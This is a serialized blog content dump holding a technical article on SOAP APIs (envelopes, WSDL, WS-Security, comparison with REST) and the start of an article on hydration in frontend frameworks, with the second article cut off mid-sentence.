58},[132,39032,243],{"class":138},[132,39034,21110],{"class":165},[132,39036,249],{"class":138},[132,39038,39039],{"class":134,"line":176},[132,39040,190],{"emptyLinePlaceholder":189},[132,39042,39043],{"class":134,"line":186},[132,39044,21121],{"class":397},[132,39046,39047,39049,39051,39053,39055,39057,39059,39061,39063,39065,39067,39069,39071,39073,39075,39077],{"class":134,"line":193},[132,39048,230],{"class":209},[132,39050,3858],{"class":138},[132,39052,622],{"class":697},[132,39054,325],{"class":138},[132,39056,21134],{"class":233},[132,39058,3869],{"class":138},[132,39060,162],{"class":209},[132,39062,15127],{"class":209},[132,39064,21143],{"class":158},[132,39066,243],{"class":138},[132,39068,21148],{"class":165},[132,39070,581],{"class":138},[132,39072,4917],{"class":209},[132,39074,19719],{"class":138},[132,39076,2662],{"class":209},[132,39078,316],{"class":138},[132,39080,39081,39083,39085,39087,39089,39091,39093,39095,39097,39099,39101,39103],{"class":134,"line":206},[132,39082,4242],{"class":209},[132,39084,5849],{"class":138},[132,39086,21096],{"class":233},[132,39088,581],{"class":138},[132,39090,21171],{"class":233},[132,39092,3646],{"class":138},[132,39094,162],{"class":209},[132,39096,15127],{"class":209},[132,39098,21180],{"class":233},[132,39100,385],{"class":138},[132,39102,21185],{"class":158},[132,39104,21188],{"class":138},[132,39106,39107,39109,39111,39113],{"class":134,"line":222},[132,39108,21193],{"class":158},[132,39110,243],{"class":138},[132,39112,21110],{"class":165},[132,39114,17667],{"class":138},[132,39116,39117,39119,39121,39123],{"class":134,"line":227},[132,39118,21193],{"class":158},[132,39120,243],{"class":138},[132,39122,18498],{"class":165},[132,39124,17667],{"class":138},[132,39126,39127],{"class":134,"line":252},[132,39128,21214],{"class":138},[132,39130,39131,39133],{"class":134,"line":257},[132,39132,706],{"class":209},[132,39134,21221],{"class":138},[132,39136,39137],{"class":134,"line":269},[132,39138,3156],{"class":138},[11,39140,21228,39141,21231,39143,21234,39145,21239],{},[18,39142,12978],{},[18,39144,21039],{},[23,39146,21238],{"href":21237},[29,39148,21243],{"id":21242},[11,39150,21246,39151,21249],{},[18,39152,1004],{},[11,39154,21252],{},[303,39156,21255],{},{"title":128,"searchDepth":149,"depth":149,"links":39158},[39159,39171,39187,39205,39215,39231,39241,39249,39259,39267,39281,39295,39303,39315,39327,39334,39341],{"id":31,"depth":149,"text":32,"children":39160},[39161,39162,39163,39164,39165,39166,39167,39168,39169,39170],{"id":36,"depth":176,"text":37},{"id":53,"depth":176,"text":54},{"id":108,"depth":176,"text":21263},{"id":371,"depth":176,"text":21265},{"id":476,"depth":176,"text":477},{"id":633,"depth":176,"text":21268},{"id":732,"depth":176,"text":733},{"id":758,"depth":176,"text":21271},{"id":986,"depth":176,"text":987},{"id":1073,"depth":176,"text":1074},{"id":1095,"depth":149,"text":1096,"children":39172},[39173,39174,39175,39176,39177,39178,39179,39180,39181,39182,39183,39184,39185,39186],{"id":1099,"depth":176,"text":21277},{"id":1174,"depth":176,"text":21279},{"id":1341,"depth":176,"text":21281},{"id":1450,"depth":176,"text":21283},{"id":1552,"depth":176,"text":21285},{"id":1718,"depth":176,"text":21287},{"id":1861,"depth":176,"text":21289},{"id":1992,"depth":176,"text":21291},{"id":2178,"depth":176,"text":21293},{"id":2329,"depth":176,"text":21295},{"id":2507,"depth":176,"text":21297},{"id":2820,"depth":176,"text":21299},{"id":2874,"depth":176,"text":21301},{"id":2937,"depth":176,"text":21303},{"id":3051,"depth":149,"text":3052,"children":39188},[39189,39190,39191,39192,39193,39194,39195,39196,39197,39198,39199,39200,39201,39202,39203,39204],{"id":3055,"depth":176,"text":3056},{"id":3183,"depth":176,"text":21308},{"id":3361,"depth":176,"text":21310},{"id":3535,"depth":176,"text":21312},{"id":3689,"depth":176,"text":21314},{"id":3795,"depth":176,"text":21316},{"id":4007,"depth":176,"text":21318},{"id":4134,"depth":176,"text":21320},{"id":4314,"depth":176,"text":21322},{"id":4475,"depth":176,"text":21324},{"id":4589,"depth":176,"text":21326},{"id":4831,"depth":176,"text":21328},{"id":4998,"depth":176,"text":4999},{"id":5020,"depth":176,"text":5021},{"id":5149,"depth":176,"text":21332},{"id":5337,"depth":176,"text":5338},{"id":5494,"depth":149,"text":5495,"children":39206},[39207,39208,39209,39210,39211,39212,39213,39214],{"id":5498,"depth":176,"text":5499},{"id":5642,"depth":176,"text":5643},{"id":5697,"depth":176,"text":5698},{"id":5928,"depth":176,"text":21340},{"id":6037,"depth":176,"text":21342},{"id":6139,"depth":176,"text":21344},{"id":6256,"depth":176,"text":21346},{"id":6316,"depth":176,"text":21348},{"id":6484,"depth":149,"text":6485,"children":39216},[39217,39218,39219,39220,39221,39222,39223,39224,39225,39226,39227,39228,39229,39230],{"id":6488,"depth":176,"text":6489},{"id":6654,"depth":176,"text":6655},{"id":6834,"depth":176,"text":21354},{"id":7064,"depth":176,"text":21356},{"id":7244,"depth":176,"text":7245},{"id":7401,"depth":176,"text":21359},{"id":7646,"depth":176,"text":21361},{"id":7863,"depth":176,"text":21363},{"id":8057,"depth":176,"text":21365},{"id":8235,"depth":176,"text":8236},{"id":8359,"depth":176,"text":21368},{"id":8608,"depth":176,"text":8609},{"id":8760,"depth":176,"text":8761},{"id":8874,"depth":176,"text":21372},{"id":8971,"depth":149,"text":8972,"children":39232},[39233,39234,39235,39236,39237,39238,39239,39240],{"id":8975,"depth":176,"text":8976},{"id":9106,"depth":176,"text":9107},{"id":9306,"depth":176,"text":9307},{"id":9489,"depth":176,"text":9490},{"id":9597,"depth":176,"text":9598},{"id":9653,"depth":176,"text":21381},{"id":9793,"depth":176,"text":9794},{"id":9815,"depth":176,"text":21384},{"id":10022,"depth":149,"text":10023,"children":39242},[39243,39244,39245,39246,39247,39248],{"id":10026,"depth":176,"text":21388},{"id":10190,"depth":176,"text":21390},{"id":10348,"depth":176,"text":10349},{"id":10541,"depth":176,"text":10542},{"id":10641,"depth":176,"text":10642},{"id":10865,"depth":176,"text":21395},{"id":11061,"depth":149,"text":11062,"children":39250},[39251,39252,39253,39254,39255,39256,39257,39258],{"id":11065,"depth":176,"text":11066},{"id":11244,"depth":176,"text":21400},{"id":11426,"depth":176,"text":21402},{"id":11573,"depth":176,"text":21404},{"id":11710,"depth":176,"text":21406},{"id":11853,"depth":176,"text":21408},{"id":11983,"depth":176,"text":21410},{"id":12185,"depth":176,"text":21412},{"id":12310,"depth":149,"text":12311,"children":39260},[39261,39262,39263,39264,39265,39266],{"id":12314,"depth":176,"text":12315},{"id":12343,"depth":176,"text":12344},{"id":12452,"depth":176,"text":21418},{"id":12610,"depth":176,"text":21420},{"id":12660,"depth":176,"text":12661},{"id":12925,"depth":176,"text":12926},{"id":12995,"depth":149,"text":12996,"children":39268},[39269,39270,39271,39272,39273,39274,39275,39276,39277,39278,39279,39280],{"id":12999,"depth":176,"text":13000},{"id":13228,"depth":176,"text":13229},{"id":13284,"depth":176,"text":13285},{"id":13473,"depth":176,"text":13474},{"id":13557,"depth":176,"text":13558},{"id":13797,"depth":176,"text":13798},{"id":13962,"depth":176,"text":21432},{"id":14243,"depth":176,"text":14244},{"id":14390,"depth":176,"text":14391},{"id":14492,"depth":176,"text":21436},{"id":14538,"depth":176,"text":14539},{"id":14676,"depth":176,"text":21439},{"id":14787,"depth":149,"text":14788,"children":39282},[39283,39284,39285,39286,39287,39288,39289,39290,39291,39292,39293,39294],{"id":14791,"depth":176,"text":14792},{"id":14806,"depth":176,"text":14807},{"id":14975,"depth":176,"text":14976},{"id":15179,"depth":176,"text":15180},{"id":15464,"depth":176,"text":15465},{"id":15491,"depth":176,"text":15492},{"id":15565,"depth":176,"text":15566},{"id":15585,"depth":176,"text":15586},{"id":15731,"depth":176,"text":15732},{"id":15838,"depth":176,"text":15839},{"id":15956,"depth":176,"text":15957},{"id":16212,"depth":176,"text":16213},{"id":16227,"depth":149,"text":16228,"children":39296},[39297,39298,39299,39300,39301,39302],{"id":16231,"depth":176,"text":21457},{"id":16373,"depth":176,"text":21459},{"id":16697,"depth":176,"text":16698},{"id":16874,"depth":176,"text":16875},{"id":17028,"depth":176,"text":21463},{"id":17105,"depth":176,"text":21465},{"id":17340,"depth":149,"text":17341,"children":39304},[39305,39306,39307,39308,39309,39310,39311,39312,39313,39314],{"id":17344,"depth":176,"text":21469},{"id":17452,"depth":176,"text":21471},{"id":17572,"depth":176,"text":21473},{"id":17714,"depth":176,"text":17715},{"id":17754,"depth":176,"text":17755},{"id":17840,"depth":176,"text":17841},{"id":17871,"depth":176,"text":17872},{"id":17925,"depth":176,"text":17926},{"id":17945,"depth":176,"text":17946},{"id":18141,"depth":176,"text":18142},{"id":18264,"depth":149,"text":18265,"children":39316},[39317,39318,39319,39320,39321,39322,39323,39324,39325,39326],{"id":18268,"depth":176,"text":21484},{"id":18431,"depth":176,"text":21486},{"id":18684,"depth":176,"text":18685},{"id":18778,"depth":176,"text":18779},{"id":18797,"depth":176,"text":18798},{"id":18834,"depth":176,"text":21491},{"id":18968,"depth":176,"text":21493},{"id":19102,"depth":176,"text":19103},{"id":19403,"depth":176,"text":19404},{"id":19648,"depth":176,"text":19649},{"id":19780,"depth":149,"text":19781,"children":39328},[39329,39330,39331,39332,39333],{"id":19784,"depth":176,"text":21500},{"id":19905,"depth":176,"text":19906},{"id":20186,"depth":176,"text":20187},{"id":20405,"depth":176,"text":20406},{"id":20666,"depth":176,"text":20667},{"id":20772,"depth":149,"text":20773,"children":39335},[39336,39337,39338,39339,39340],{"id":20776,"depth":176,"text":20777},{"id":20790,"depth":176,"text":20791},{"id":20807,"depth":176,"text":20808},{"id":20927,"depth":176,"text":21511},{"id":21033,"depth":176,"text":21513},{"id":21242,"depth":149,"text":21243},{},{"title":5,"description":21516},[21526,21527,21528,92,21529],{"id":39346,"title":39347,"author":6,"body":39348,"date":39782,"description":39783,"draft":21517,"extension":21518,"guide":21519,"image":39784,"meta":39785,"navigation":189,"path":39786,"seo":39787,"stem":39788,"tags":39789,"__hash__":39793},"blog/Backend/5.soap-api.md","SOAP API: Why the Enterprise Still Runs on XML",{"type":8,"value":39349,"toc":39766},[39350,39354,39357,39364,39371,39375,39378,39385,39396,39400,39403,39409,39413,39420,39423,39426,39430,39437,39448,39455,39459,39462,39465,39468,39472,39475,39645,39648,39652,39663,39669,39672,39676,39683,39689,39695,39701,39705,39708,39711,39714,39718,39733,39736,39740,39747,39750,39754,39757,39760,39763],[29,39351,39353],{"id":39352},"soap-simple-object-access-protocol","SOAP: Simple Object Access Protocol",[11,39355,39356],{},"In the modern era of distributed computing, the exchange of information is often treated with a casual indifference. We rely on lightweight, loosely defined formats that prioritize speed over structural integrity. However, there exists a world where ambiguity is the enemy of progress.",[11,39358,39359,39360,39363],{},"This is the world of the ",[62,39361,39362],{},"Simple Object Access Protocol",", or SOAP. To understand SOAP is to understand the fundamental necessity of rigorous standards in high-stakes environments. It is not merely a method of sending data; it is a philosophy of communication based on strict contracts.",[11,39365,39366,39367,39370],{},"Before we explore the technical syntax, we must define its purpose. ",[62,39368,39369],{},"SOAP was designed to allow applications running on different operating systems to communicate over the internet",". It achieved this by utilizing XML, the eXtensible Markup Language, as its universal medium.",[29,39372,39374],{"id":39373},"the-genesis-of-a-standard","The Genesis of a Standard",[11,39376,39377],{},"In the late 1990s, the software industry faced a crisis of fragmentation. Systems built in Java could not easily talk to systems built in C#. The industry needed a bridge that was independent of the underlying platform.",[11,39379,39380,39381,39384],{},"SOAP emerged as that bridge. It was adopted by the ",[62,39382,39383],{},"World Wide Web Consortium (W3C)"," as a recommendation, transforming it from a corporate project into a global standard. It provided a level of predictability that the industry had never seen before.",[11,39386,39387,39388,39391,39392,39395],{},"While newer architectures like ",[62,39389,39390],{},"REST"," emphasize the Resource, SOAP emphasizes the Procedure. It is a protocol for ",[62,39393,39394],{},"Remote Procedure Calls (RPC)",", allowing one system to invoke logic on another as if it were local.",[29,39397,39399],{"id":39398},"structure-of-soap","Structure of SOAP",[11,39401,39402],{},"The structure of SOAP is wrapped in what we call the \"Envelope.\" This is the root element of the XML document. It acts as the boundary of the message, declaring to any receiving server that what follows is a formal SOAP request. Inside envelope, you have a header for metadata (like auth) and a body for the actual data.",[11,39404,39405],{},[1268,39406],{"alt":39407,"src":39408},"SOAP Envelope Structure","/post-images/soap-api/soap-envelope-structure.png",[34,39410,39412],{"id":39411},"the-header","The Header",[11,39414,39415,39416,39419],{},"Within the Envelope, we have the Header. This is an ",[62,39417,39418],{},"optional"," yet powerful section. It is used to pass metadata that is not part of the primary payload.",[11,39421,39422],{},"For example, a Header might contain a complex authentication token. It might also include routing instructions for middle-tier servers. This separation of concerns make sure the Body to remain focused solely on the business logic of the request.",[11,39424,39425],{},"Most importantly, the Header supports the \"mustUnderstand\" attribute. If this attribute is set to true, the receiver must process the header or fail the entire request. This ensures that security or transactional requirements are never ignored by a lazy implementation.",[34,39427,39429],{"id":39428},"the-body","The Body",[11,39431,39432,39433,39436],{},"This part is the heart of the message. It contains the ",[62,39434,39435],{},"actual data"," meant for the end application. If you are querying a database for a user’s medical record, the user ID resides here.",[11,39438,39439,39440,39443,39444,39447],{},"The Body is where the ",[62,39441,39442],{},"Remote Procedure"," is defined. In a banking application, the Body might contain an instruction like ",[18,39445,39446],{},"TransferFunds",". It specifies the source account, the destination, and the exact amount to three decimal places.",[11,39449,39450,39451,39454],{},"This precision is mandatory. ",[62,39452,39453],{},"Because SOAP relies on XML Schemas (XSD), the data types must match exactly",". If the server expects an integer and you send a string, the message is rejected before the application logic even sees it.",[29,39456,39458],{"id":39457},"how-soap-handles-error","How SOAP Handles Error?",[11,39460,39461],{},"No system is perfect, and networks are inherently unreliable. SOAP manages this reality through a specialized sub-element located within the Body; the \"Fault\" element. It appears only when an error occurs.",[11,39463,39464],{},"The Fault element provides a structured way to report what went wrong. It includes a \"FaultCode\" for machine parsing and a \"FaultString\" for human readability. It may also include \"Detail\" for specific debugging information.",[11,39466,39467],{},"You can compare this to other systems that might return a generic \"404\" or \"500\" error. SOAP tells you exactly which part of the XML failed validation. It identifies whether the error was caused by the client or the server.",[29,39469,39471],{"id":39470},"a-sample-of-the-protocol-in-practice","A Sample of the Protocol in Practice",[11,39473,39474],{},"Let us examine a concrete example of a request sent to a sophisticated inventory system. Notice how namespaces prevent the mixing of different data definitions.",[123,39476,39480],{"className":39477,"code":39478,"language":39479,"meta":128,"style":128},"language-xml shiki shiki-themes github-dark","\u003C?xml version=\"1.0\"?>\n\u003Csoap:Envelope xmlns:soap=\"[http://www.w3.org/2003/05/soap-envelope/](http://www.w3.org/2003/05/soap-envelope/)\"\n               xmlns:inv=\"[http://www.global-logistics.org/inventory](http://www.global-logistics.org/inventory)\">\n  \u003Csoap:Header>\n    \u003Cinv:TransactionID>TR-99821-X\u003C/inv:TransactionID>\n    \u003Cinv:SecurityToken>f47ac10b-58cc-4372-a567-0e02b2c3d479\u003C/inv:SecurityToken>\n  \u003C/soap:Header>\n  \u003Csoap:Body>\n    \u003Cinv:GetProductAvailability>\n      \u003Cinv:SKU>APL-IPH-15-PRO\u003C/inv:SKU>\n      \u003Cinv:WarehouseCode>WH-NORTH-01\u003C/inv:WarehouseCode>\n    \u003C/inv:GetProductAvailability>\n  \u003C/soap:Body>\n\u003C/soap:Envelope>\n","xml",[18,39481,39482,39500,39515,39527,39537,39551,39565,39574,39583,39592,39607,39621,39629,39637],{"__ignoreMap":128},[132,39483,39484,39487,39489,39492,39494,39497],{"class":134,"line":135},[132,39485,39486],{"class":138},"\u003C?",[132,39488,39479],{"class":142},[132,39490,39491],{"class":158}," version",[132,39493,162],{"class":138},[132,39495,39496],{"class":165},"\"1.0\"",[132,39498,39499],{"class":138},"?>\n",[132,39501,39502,39504,39507,39510,39512],{"class":134,"line":149},[132,39503,139],{"class":138},[132,39505,39506],{"class":142},"soap:Envelope",[132,39508,39509],{"class":158}," xmlns:soap",[132,39511,162],{"class":138},[132,39513,39514],{"class":165},"\"[http://www.w3.org/2003/05/soap-envelope/](http://www.w3.org/2003/05/soap-envelope/)\"\n",[132,39516,39517,39520,39522,39525],{"class":134,"line":176},[132,39518,39519],{"class":158},"               xmlns:inv",[132,39521,162],{"class":138},[132,39523,39524],{"class":165},"\"[http://www.global-logistics.org/inventory](http://www.global-logistics.org/inventory)\"",[132,39526,146],{"class":138},[132,39528,39529,39532,39535],{"class":134,"line":186},[132,39530,39531],{"class":138},"  \u003C",[132,39533,39534],{"class":142},"soap:Header",[132,39536,146],{"class":138},[132,39538,39539,39541,39544,39547,39549],{"class":134,"line":193},[132,39540,152],{"class":138},[132,39542,39543],{"class":142},"inv:TransactionID",[132,39545,39546],{"class":138},">TR-99821-X\u003C/",[132,39548,39543],{"class":142},[132,39550,146],{"class":138},[132,39552,39553,39555,39558,39561,39563],{"class":134,"line":206},[132,39554,152],{"class":138},[132,39556,39557],{"class":142},"inv:SecurityToken",[132,39559,39560],{"class":138},">f47ac10b-58cc-4372-a567-0e02b2c3d479\u003C/",[132,39562,39557],{"class":142},[132,39564,146],{"class":138},[132,39566,39567,39570,39572],{"class":134,"line":222},[132,39568,39569],{"class":138},"  \u003C/",[132,39571,39534],{"class":142},[132,39573,146],{"class":138},[132,39575,39576,39578,39581],{"class":134,"line":227},[132,39577,39531],{"class":138},[132,39579,39580],{"class":142},"soap:Body",[132,39582,146],{"class":138},[132,39584,39585,39587,39590],{"class":134,"line":252},[132,39586,152],{"class":138},[132,39588,39589],{"class":142},"inv:GetProductAvailability",[132,39591,146],{"class":138},[132,39593,39594,39597,39600,39603,39605],{"class":134,"line":257},[132,39595,39596],{"class":138},"      \u003C",[132,39598,39599],{"class":142},"inv:SKU",[132,39601,39602],{"class":138},">APL-IPH-15-PRO\u003C/",[132,39604,39599],{"class":142},[132,39606,146],{"class":138},[132,39608,39609,39611,39614,39617,39619],{"class":134,"line":269},[132,39610,39596],{"class":138},[132,39612,39613],{"class":142},"inv:WarehouseCode",[132,39615,39616],{"class":138},">WH-NORTH-01\u003C/",[132,39618,39613],{"class":142},[132,39620,146],{"class":138},[132,39622,39623,39625,39627],{"class":134,"line":278},[132,39624,1528],{"class":138},[132,39626,39589],{"class":142},[132,39628,146],{"class":138},[132,39630,39631,39633,39635],{"class":134,"line":284},[132,39632,39569],{"class":138},[132,39634,39580],{"class":142},[132,39636,146],{"class":138},[132,39638,39639,39641,39643],{"class":134,"line":293},[132,39640,179],{"class":138},[132,39642,39506],{"class":142},[132,39644,146],{"class":138},[11,39646,39647],{},"The response to this message would be equally structured. It would return the stock levels, the last update timestamp, and perhaps a list of nearby warehouses with available stock.",[29,39649,39651],{"id":39650},"wsdl-the-master-blueprint","WSDL: The Master Blueprint",[11,39653,39654,39655,39658,39659,39662],{},"One cannot discuss SOAP without mentioning the WSDL. The heart of any SOAP API is the ",[62,39656,39657],{},"WSDL (Web Services Description Language)",". It’s ",[62,39660,39661],{},"an XML file"," that describes exactly what the service does, what arguments it takes, and what it returns.",[11,39664,39665,39666],{},"In other words, a WSDL file defines the \"Endpoints\" where the service lives. ",[62,39667,39668],{},"It lists every operation the service can perform. It describes the exact format of the input messages and the expected output messages.",[11,39670,39671],{},"This allows for the automation of client creation. In many professional environments, a developer simply points a tool at a WSDL URL. The tool then generates all the necessary code to communicate with that service. This is the \"Contract-First\" approach.",[29,39673,39675],{"id":39674},"the-superiority-of-ws-standards","The Superiority of WS-* Standards",[11,39677,39678,39679,39682],{},"Why do we continue to use such a heavy protocol? The answer lies in the ",[62,39680,39681],{},"WS-* (Web Services) specifications",". These are a suite of extensions that sit on top of SOAP to solve complex enterprise problems.",[11,39684,39685,39688],{},[62,39686,39687],{},"WS-Security"," is perhaps the most vital. It allows for end-to-end security. Unlike SSL, which only encrypts the \"pipe\" between two points, WS-Security encrypts the message itself. Even if the message passes through five different servers, only the final recipient can read it.",[11,39690,39691,39694],{},[62,39692,39693],{},"WS-AtomicTransaction"," provides a mechanism for distributed transactions. Think of a process that involves updating a database in London and another in Tokyo. This standard ensures that either both updates happen, or neither does. It prevents data corruption.",[11,39696,39697,39700],{},[62,39698,39699],{},"WS-ReliableMessaging"," ensures that messages are delivered exactly once, in the correct order. In high-frequency trading or industrial control systems, \"maybe\" is not an acceptable answer. SOAP provides the guarantees that modern business requires.",[29,39702,39704],{"id":39703},"soap-vs-rest-an-intellectual-distinction","SOAP vs. REST: An Intellectual Distinction",[11,39706,39707],{},"You will often hear debates comparing SOAP to REST. These debates often miss the point. They are different tools for different tasks. REST is an architectural style designed for the web. It is flexible and easy to consume.",[11,39709,39710],{},"SOAP is a protocol designed for the enterprise. It is rigid, typed, and stateful. While REST is perfect for a mobile app showing weather updates, SOAP is the right choice for an international wire transfer.",[11,39712,39713],{},"In a RESTful world, you are responsible for your own security and error handling. In the SOAP world, these are built into the protocol. We're talking about WS-Security.",[29,39715,39717],{"id":39716},"the-performance-trade-off","The Performance Trade-off",[11,39719,39720,39721,39724,39725,39728,39729,39732],{},"It is undeniable that ",[62,39722,39723],{},"SOAP is slower"," than its alternatives. The XML format is chatty. It requires ",[62,39726,39727],{},"more CPU power to parse"," than the simpler JSON format. It uses ",[62,39730,39731],{},"more bandwidth to transmit"," the same amount of information.",[11,39734,39735],{},"However, in the context of a million-dollar transaction, a 200-millisecond delay for security validation is negligible. Efficiency is not always measured in bytes per second. Sometimes, efficiency is measured in the absence of catastrophic errors.",[29,39737,39739],{"id":39738},"the-role-of-acid-compliance","The Role of ACID Compliance",[11,39741,39742,39743,39746],{},"For those focused on data integrity, SOAP’s compatibility with ",[62,39744,39745],{},"ACID (Atomicity, Consistency, Isolation, Durability)"," properties is paramount. Most REST implementations struggle to provide these guarantees across distributed nodes.",[11,39748,39749],{},"SOAP excels here. By using the built-in standards for coordination, it allows multiple services to participate in a single logical transaction. This is a foundational requirement for any system handling financial ledgers or legal records.",[29,39751,39753],{"id":39752},"final-reflections-the-future-of-soap","Final Reflections: The Future of SOAP",[11,39755,39756],{},"As we look toward the future, we see a world that is becoming more interconnected and more dangerous. The need for verified, secure, and transactional communication is not shrinking; it is expanding.",[11,39758,39759],{},"SOAP may not be the fashionable choice in Silicon Valley startups. Yet, it remains the backbone of the global economy. It powers the SWIFT network. It manages the supply chains of the world’s largest retailers.",[11,39761,39762],{},"As professionals, you must be polyglots. You must know when to use the speed of REST and when to use the safety of SOAP. To ignore SOAP is to ignore the foundation of the modern enterprise.",[303,39764,39765],{},"html pre.shiki code .s95oV, html code.shiki .s95oV{--shiki-default:#E1E4E8}html pre.shiki code .s4JwU, html code.shiki .s4JwU{--shiki-default:#85E89D}html pre.shiki code .svObZ, html code.shiki .svObZ{--shiki-default:#B392F0}html pre.shiki code .sU2Wk, html code.shiki .sU2Wk{--shiki-default:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}",{"title":128,"searchDepth":149,"depth":149,"links":39767},[39768,39769,39770,39774,39775,39776,39777,39778,39779,39780,39781],{"id":39352,"depth":149,"text":39353},{"id":39373,"depth":149,"text":39374},{"id":39398,"depth":149,"text":39399,"children":39771},[39772,39773],{"id":39411,"depth":176,"text":39412},{"id":39428,"depth":176,"text":39429},{"id":39457,"depth":149,"text":39458},{"id":39470,"depth":149,"text":39471},{"id":39650,"depth":149,"text":39651},{"id":39674,"depth":149,"text":39675},{"id":39703,"depth":149,"text":39704},{"id":39716,"depth":149,"text":39717},{"id":39738,"depth":149,"text":39739},{"id":39752,"depth":149,"text":39753},"2026-05-16","Meet SOAP API, the father of REST APIs. Learn about WSDLs, WS-Security, and when to choose SOAP over REST for your next project.","soap-api.png",{},"/backend/soap-api",{"title":39347,"description":39783},"Backend/5.soap-api",[39790,39791,39792],"API Design","Web Services","Backend","cRQ439Kv39sP45TxG1ceAIfyGiH6QJNr3gDNtp4jdq0",{"id":39795,"title":39796,"author":6,"body":39797,"date":40031,"description":40032,"draft":21517,"extension":21518,"guide":21519,"image":40033,"meta":40034,"navigation":189,"path":40035,"seo":40036,"stem":40037,"tags":40038,"__hash__":40043},"blog/Frontend/2.hydration-in-frontend-frameworks.md","Hydration in Frontend Frameworks: Why We Hydrate",{"type":8,"value":39798,"toc":40024},[39799,39802,39809,39812,39818,39822,39825,39828,39831,39838,39841,39844,39847,39853,39856,39859,39862,39872,39875,39878,39881,39888,39891,39894,39897,39901,39904,39917,39920,39927,39930,39933,39936,39939,39942,39945,39948,39951,39958,39962,39969,39972,39979,39982,39985,39988,39991,39995,39998,40001,40003,40006,40009,40012,40015,40018,40021],[11,39800,39801],{},"Imagine a world where everything you see is a high resolution photograph. It looks perfect, the colors are vibrant and the details are sharp. But when you try to touch it, nothing happens. It’s just static ink on paper.",[11,39803,39804,39805,39808],{},"In the digital realm, we call this static state ",[62,39806,39807],{},"Server-Side Rendering",". It is the process of sending a pre-baked HTML document to your browser. It’s fast to look at, but functionally dead. How do we bring it to life?",[11,39810,39811],{},"We bring it to life through a process called hydration. Have you ever wondered why a website appears instantly but takes a few seconds before the buttons actually work? That brief, uncanny valley of time is hydration in action.",[11,39813,1543,39814,39817],{},[23,39815,39816],{"href":25},"question 99 of frontend interview questions guide"," covers SSR, CSR, SSG, and ISR in a way that pairs well with this article.",[29,39819,39821],{"id":39820},"what-hydration-actually-does","What Hydration Actually Does",[11,39823,39824],{},"Think of hydration as the \"soul\" entering the body. The server sends the \"body\" (the HTML) and the client sends the \"soul\" (the JavaScript). Once they merge, the page becomes an interactive, living organism. This is the core idea behind hydration in react or vue and, more broadly, javascript hydration across modern frontend stacks. But why do we bother?",[11,39826,39827],{},"Why not just send the JavaScript and let the browser build the whole thing from scratch? That would be Client-Side Rendering. It sounds simpler, doesn't it? Well, it is, but it comes with a massive cost to user experience.",[11,39829,39830],{},"If we relied solely on the client, the user would stare at a blank white screen while the JavaScript downloaded. Have you ever closed a tab because it didn't load within three seconds? Most people have.",[11,39832,39833,39834,39837],{},"By sending HTML first, we give the user something to read immediately. This ",[62,39835,39836],{},"First Contentful Paint"," is psychological gold. It reassures the user that the site is working, even if the engines are still warming up under the hood.",[11,39839,39840],{},"Hydration exists to bridge the gap between \"seeing\" and \"doing.\" It is the compromise we make to ensure the web is both fast to display and rich to use. It is a delicate handoff between server and client.",[11,39842,39843],{},"Let’s look at a real world example: an e-commerce product page. When you click a link from Google, you want to see the price and the image instantly. The server delivers those as static HTML right away.",[11,39845,39846],{},"But what about the \"Add to Cart\" button? That requires logic. It needs to know who you are and what is in your bag. This is where hydration steps in, attaching event listeners to those static buttons.",[11,39848,39849,39852],{},[62,39850,39851],{},"What happens if the hydration fails?"," You might click that \"Add to Cart\" button ten times and see nothing happen. This is the rage click, a symptom of a mismatch between the HTML structure and the JavaScript logic.",[11,39854,39855],{},"Is hydration a perfect solution? Not quite. It can be heavy. You are essentially sending the data twice: once as HTML and once as a JSON payload for the JavaScript to consume. It’s like buying two tickets for one seat.",[11,39857,39858],{},"Despite this overhead, hydration remains the backbone of modern frameworks like Nuxt, Next.js, and Remix. In hydration in next/nuxt js workflows, for example, the server renders the first pass and the client attaches behavior afterward. It allows developers to build complex, app-like experiences that still feel like traditional, fast-loading websites.",[11,39860,39861],{},"Consider a social media feed like Twitter or X. As you scroll, the initial posts are often pre-rendered. This ensures that even on a slow 3G connection, you have something to consume while the heavy app logic initializes.",[11,39863,39864,39865,1334,39868,39871],{},"Could we avoid this double-loading? Some new patterns are emerging, like ",[62,39866,39867],{},"Partial Hydration",[62,39869,39870],{},"Resumability",". These techniques try to only hydrate the parts of the page that actually need to be interactive.",[11,39873,39874],{},"Imagine a blog post like this one. Does the text itself need JavaScript? No. Only the comment section or the search bar might need it. Why hydrate the whole page when only 10% is interactive?",[11,39876,39877],{},"This is the frontier of web performance. We are moving toward a world where we water only the plants that are thirsty, rather than flooding the entire garden. This saves bandwidth and CPU cycles on your phone.",[11,39879,39880],{},"But for now, standard hydration is our best tool for SEO. Search engines love HTML. They can crawl it easily. If your site is just a pile of JavaScript, search bots might struggle to understand your content.",[11,39882,39883,39884,39887],{},"Do you care about your ranking on Google? If so, you care about hydration. It ensures that your content is indexed properly while still providing a smooth, ",[62,39885,39886],{},"single page app"," feel once the user arrives.",[11,39889,39890],{},"Let's understand the mechanics. When your app starts, the server executes your components and produces a string of HTML. This string is what flies across the internet to the user's device.",[11,39892,39893],{},"Inside that HTML is a special script tag. It contains the state of your application. It’s like a save-game file. The browser reads this and says, \"yess! I know exactly where the server left off.\"",[11,39895,39896],{},"The browser then runs the same Vue components. But instead of creating new HTML, it dry-runs them. It compares its virtual map to the existing HTML already on the screen.",[29,39898,39900],{"id":39899},"hydration-mismatches-and-errors","Hydration Mismatches and Errors",[11,39902,39903],{},"If the maps match, the browser just attaches the event listeners. It’s like a glove sliding onto a hand. Perfect fit. This is the moment of successful hydration. The page is now fully interactive.",[11,39905,39906,39907,39910,39911,1334,39914,39916],{},"But what if they don't match? This is the dreaded ",[62,39908,39909],{},"Hydration Mismatch Error",". It usually happens when you use something like ",[18,39912,39913],{},"new Date()",[18,39915,20830],{}," in your components.",[11,39918,39919],{},"Why does a date cause an error? Because the server might be in a different timezone than the user. If the server says \"10:00 AM\" and the browser says \"10:01 AM,\" the glove doesn't fit the hand anymore.",[11,39921,39922,39923,39926],{},"The browser gets confused. It might throw away the server's HTML and start over, causing a visible ",[62,39924,39925],{},"flicker",". This defeats the whole purpose of server-side rendering. It’s a waste of resources.",[11,39928,39929],{},"To fix this, developers must ensure their code is \"isomorphic\" or \"universal.\" This means the code must produce the exact same result regardless of where it is 